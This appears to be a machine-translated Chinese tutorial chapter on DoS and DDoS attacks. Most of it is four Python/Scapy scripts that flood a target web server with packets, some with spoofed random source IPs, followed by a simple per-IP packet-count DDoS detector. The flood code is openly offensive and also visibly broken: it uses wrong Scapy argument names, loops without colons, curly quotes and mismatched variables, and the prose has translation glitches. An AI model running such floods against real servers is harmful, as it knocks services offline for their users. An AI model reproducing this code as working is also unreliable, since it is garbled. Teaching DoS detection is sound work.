DoS 和 DDoS 攻击
在本章中,我们将了解 DoS 和 DdoS 攻击并了解如何检测它们。
随着电子商务行业的蓬勃发展,Web服务器容易受到攻击,很容易成为黑客攻击的目标。黑客通常尝试两种类型的攻击 -
- DoS(拒绝服务)
- DDoS(分布式拒绝服务)
DoS(拒绝服务)攻击
拒绝服务 (DoS) 攻击是黑客试图使网络资源不可用的Behave。它通常会暂时或无限期地中断连接到互联网的主机。这些攻击通常针对关键任务 Web 服务器上托管的服务,例如银行、信用卡支付网关。
DoS 攻击的症状
网络性能异常缓慢。
特定网站不可用。
无法访问任何网站。
收到的垃圾邮件数量急剧增加。
长期拒绝访问网络或任何互联网服务。
特定网站不可用。
DoS 攻击的类型及其 Python 实现
DoS 攻击可以在数据链路、网络或应用层实施。现在让我们了解不同类型的 DoS 攻击;他们在Python中的实现 -
单IP单端口
使用单个 IP 和单个端口号将大量数据包发送到 Web 服务器。这是一种低级攻击,用于检查 Web 服务器的Behave。它在 Python 中的实现可以在 Scapy 的帮助下完成。以下 python 脚本将帮助实施单 IP 单端口 DoS 攻击 -
from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt, inter = .001) print ("packet sent ", i) i = i + 1
执行后,上述脚本将要求以下三件事 -
源和目标的 IP 地址。
源端口号的IP地址。
然后它会向服务器发送大量数据包以检查其Behave。
单IP多端口
使用单个 IP 和多个端口向 Web 服务器发送大量数据包。它在 Python 中的实现可以在 Scapy 的帮助下完成。以下 python 脚本将帮助实施单 IP 多端口 DoS 攻击 -
from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") i = 1 while True: for source_port in range(1, 65535) IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt, inter = .001) print ("packet sent ", i) i = i + 1
多IP单端口
使用多个 IP 和单个端口号将大量数据包发送到 Web 服务器。它在 Python 中的实现可以在 Scapy 的帮助下完成。以下Python脚本实现单IP多端口DoS攻击 -
from scapy.all import * target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = “.” Source_ip = a + dot + b + dot + c + dot + d IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt,inter = .001) print ("packet sent ", i) i = i + 1
多IP多端口
使用多个 IP 和多个端口向 Web 服务器发送大量数据包。它在 Python 中的实现可以在 Scapy 的帮助下完成。以下 Python 脚本有助于实施多 IP 多端口 DoS 攻击 -
Import random from scapy.all import * target_IP = input("Enter IP address of Target: ") i = 1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = “.” Source_ip = a + dot + b + dot + c + dot + d for source_port in range(1, 65535) IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt,inter = .001) print ("packet sent ", i) i = i + 1
DDoS(分布式拒绝服务)攻击
分布式拒绝服务 (DDoS) 攻击是一种尝试,通过从多个来源产生的大量流量使在线服务或网站超载,从而使在线服务或网站不可用。
拒绝服务 (DoS) 攻击使用一台计算机和一个 Internet 连接向目标资源发送大量数据包,而 DDoS 攻击则使用多台计算机和许多 Internet 连接,这些攻击通常分布在全球范围内,形成僵尸网络。大规模的容量 DDoS 攻击可以产生每秒数十吉比特(甚至数百吉比特)的流量。可以在https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm详细阅读。
使用Python检测DDoS
实际上,DDoS 攻击有点难以检测,因为您不知道发送流量的主机是假的还是真实的。下面给出的 Python 脚本将有助于检测 DDoS 攻击。
首先,让我们导入必要的库 -
import socket import struct from datetime import datetime
现在,我们将创建一个套接字,就像我们在前面部分中创建的那样。
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
我们将使用一个空字典 -
dict = {}
以下代码行将打开一个文本文件,其中包含附加模式下的 DDoS 攻击的详细信息。
file_txt = open("attack_DDoS.txt",'a') t1 = str(datetime.now())
在以下代码行的帮助下,每当程序运行时就会写入当前时间。
file_txt.writelines(t1) file_txt.writelines("\n")
现在,我们需要假设来自特定 IP 的点击量。这里我们假设如果某个特定 IP 的点击次数超过 15 次,那么就会构成攻击。
No_of_IPs = 15 R_No_of_IPs = No_of_IPs +10 while True: pkt = s.recvfrom(2048) ipheader = pkt[0][14:34] ip_hdr = struct.unpack("!8sB3s4s4s",ipheader) IP = socket.inet_ntoa(ip_hdr[3]) print "The Source of the IP is:", IP
下面的代码行将检查 IP 是否存在于字典中。如果存在则将其加 1。
if dict.has_key(IP): dict[IP] = dict[IP]+1 print dict[IP]
下一行代码用于删除冗余。
if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) : line = "DDOS attack is Detected: " file_txt.writelines(line) file_txt.writelines(IP) file_txt.writelines("\n") else: dict[IP] = 1
运行上述脚本后,我们将在文本文件中得到结果。根据该脚本,如果某个 IP 命中次数超过 15 次,则会将其打印为检测到该 IP 地址的 DDoS 攻击。